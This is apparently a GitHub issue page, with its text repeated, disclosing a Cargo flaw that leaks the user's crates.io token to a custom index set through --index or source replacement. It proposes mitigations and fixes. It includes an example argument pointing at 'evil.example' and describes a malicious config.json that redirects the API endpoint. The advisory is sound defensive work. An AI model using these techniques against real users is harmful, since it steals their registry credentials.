You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I've discussed this with the rust-lang security team, and we have agreed that it is appropriate to publicly discuss this issue and the proposed fixes. This issue does not affect users during their typical workflow. While there may be some window for social engineering, users do not typically run the affected commands from within an untrusted codebase.
Users of the affected functionality (or who wish to be extra cautious) are able to protect themselves with the workaround below while a fix is implemented and rides the release train.
If you have any reason to believe your private token may have been exposed, please visit https://crates.io/me to revoke your token and generate a new one.
The Issue
Cargo will fall back to the value of [registry.token] when a custom index is provided via the command line (--index) or specified via various source replacement ([source.*]) configuration options. Unless the user specifically overrides this value, it will fall back to the value stored in $HOME/.cargo/config, which is almost always the user's token for the official crates.io registry.
As a point of clarification, this doesn't affect the alternative registry feature (via entries under [registries.*]) which is in the process of stabilization. Alternative registries are tangentially related, and the most likely fix is to make the problematic features mirror the alternative registries implementation.
Command Line --index Argument
If a user provides an --index https://evil.example/index argument to certain sub-commands, then the user's private token will be exposed unless the user has taken specific action to customize their configuration. The affected sub-commands are publish, yank, and owner. The search sub-command hits the API endpoint but does not provide an authorization token and is not affected.
Because the affected sub-commands need to know the crate's name, they must be run from within a cargo project. Otherwise, you will receive "error: could not find Cargo.toml in /current/directory or any parent directory".
Via Source Replacement
It is also possible to override the official crates-io index via source replacement. Additionally, this can be configured in a project specific .cargo/config file. For example, the following will configure a "mirror" of crates.io and use it as the default registry.
Because unknown property names are ignored by cargo, the specified token is silently ignored and cargo searches the path hierarchy for [registry.token]. This diverges from the implementation of alternative registries which requires a token to be provided alongside the override, or within a .cargo/credentials file.
The documentation for source replacement does not mention how to properly configure [registry.token]. It is likely that users forget to configure a custom token, or use the wrong syntax.
In place of registry = "..." above, the following field names are also available: git, local-registry, directory, and replace-with. These cover similar but slightly different use cases. In all of these situations, cargo will read a config.json file (if present) from that location and will use the value of the api key as the API endpoint. If an attacker controls the contents of config.json and tricks the user into running an affected sub-command, then the user's token will be exposed.
Mitigation
Until you are running a patched version of cargo, if you specify an --index on the command line, you should ensure you provide a value for --token as well.
If you are working within a potentially untrusted codebase then you should create a .cargo/config file within a trusted parent directory containing the following:
[registry]
# Shadow my real crates-io tokentoken = "private"
This will protect you if you accidentally run one of the affected sub-commands: publish, yank, or owner. Of course, running sub-commands such as build or run on an untrusted codebase is also potentially dangerous.
If you are using source replacement in a mirroring or vendoring situation, then the affected sub-commands are not typically applicable. You should override the token as shown above as a precautionary measure.
If you do need to run the affected sub-commands, then you must ensure that the replacement index is trusted to always point to the official crates.io endpoint.
If you're using source replacement for anything else, then it's probably best to see if the alternative registry feature fits your use case. Alternative registries are currently an unstable feature, but the functionality is on track to stabilization.
Proposed Fixes
While these are technically breaking changes, I believe the following changes are necessary for any commands that make authenticated API requests:
Always require --token on the command line when using --index.
When using a [source.*] configuration, require that a token = "..." be specified within [source.*] or provided via --token on the command line. A more extreme change would be to disallow these API calls entirely when a source replacement is in effect. The two documented use case for this functionality are mirroring and vendoring. It is not clear why users would be using these commands because in both use cases such commands should be executed against the official index and API anyway.
Neither of these scenarios should fall back to the [registry.token] value, no matter where in the path hierarchy that value is configured. The value of [registry.token] should only be used when interacting with the official index.
The text was updated successfully, but these errors were encountered:
Introduction
I've discussed this with the rust-lang security team, and we have agreed that it is appropriate to publicly discuss this issue and the proposed fixes. This issue does not affect users during their typical workflow. While there may be some window for social engineering, users do not typically run the affected commands from within an untrusted codebase.
Users of the affected functionality (or who wish to be extra cautious) are able to protect themselves with the workaround below while a fix is implemented and rides the release train.
If you have any reason to believe your private token may have been exposed, please visit https://crates.io/me to revoke your token and generate a new one.
The Issue
Cargo will fall back to the value of
[registry.token]
when a custom index is provided via the command line (--index
) or specified via various source replacement ([source.*]
) configuration options. Unless the user specifically overrides this value, it will fall back to the value stored in$HOME/.cargo/config
, which is almost always the user's token for the official crates.io registry.As a point of clarification, this doesn't affect the alternative registry feature (via entries under
[registries.*]
) which is in the process of stabilization. Alternative registries are tangentially related, and the most likely fix is to make the problematic features mirror the alternative registries implementation.Command Line
--index
ArgumentIf a user provides an
--index https://evil.example/index
argument to certain sub-commands, then the user's private token will be exposed unless the user has taken specific action to customize their configuration. The affected sub-commands arepublish
,yank
, andowner
. Thesearch
sub-command hits the API endpoint but does not provide an authorization token and is not affected.Because the affected sub-commands need to know the crate's name, they must be run from within a cargo project. Otherwise, you will receive "error: could not find
Cargo.toml
in/current/directory
or any parent directory".Via Source Replacement
It is also possible to override the official crates-io index via source replacement. Additionally, this can be configured in a project specific
.cargo/config
file. For example, the following will configure a "mirror" of crates.io and use it as the default registry.Because unknown property names are ignored by cargo, the specified
token
is silently ignored and cargo searches the path hierarchy for[registry.token]
. This diverges from the implementation of alternative registries which requires atoken
to be provided alongside the override, or within a.cargo/credentials
file.The documentation for source replacement does not mention how to properly configure
[registry.token]
. It is likely that users forget to configure a custom token, or use the wrong syntax.In place of
registry = "..."
above, the following field names are also available:git
,local-registry
,directory
, andreplace-with
. These cover similar but slightly different use cases. In all of these situations, cargo will read aconfig.json
file (if present) from that location and will use the value of theapi
key as the API endpoint. If an attacker controls the contents ofconfig.json
and tricks the user into running an affected sub-command, then the user's token will be exposed.Mitigation
Until you are running a patched version of cargo, if you specify an
--index
on the command line, you should ensure you provide a value for--token
as well.If you are working within a potentially untrusted codebase then you should create a
.cargo/config
file within a trusted parent directory containing the following:This will protect you if you accidentally run one of the affected sub-commands:
publish
,yank
, orowner
. Of course, running sub-commands such asbuild
orrun
on an untrusted codebase is also potentially dangerous.If you are using source replacement in a mirroring or vendoring situation, then the affected sub-commands are not typically applicable. You should override the token as shown above as a precautionary measure.
If you do need to run the affected sub-commands, then you must ensure that the replacement index is trusted to always point to the official crates.io endpoint.
If you're using source replacement for anything else, then it's probably best to see if the alternative registry feature fits your use case. Alternative registries are currently an unstable feature, but the functionality is on track to stabilization.
Proposed Fixes
While these are technically breaking changes, I believe the following changes are necessary for any commands that make authenticated API requests:
--token
on the command line when using--index
.[source.*]
configuration, require that atoken = "..."
be specified within[source.*]
or provided via--token
on the command line. A more extreme change would be to disallow these API calls entirely when a source replacement is in effect. The two documented use case for this functionality are mirroring and vendoring. It is not clear why users would be using these commands because in both use cases such commands should be executed against the official index and API anyway.[registry.token]
value, no matter where in the path hierarchy that value is configured. The value of[registry.token]
should only be used when interacting with the official index.The text was updated successfully, but these errors were encountered: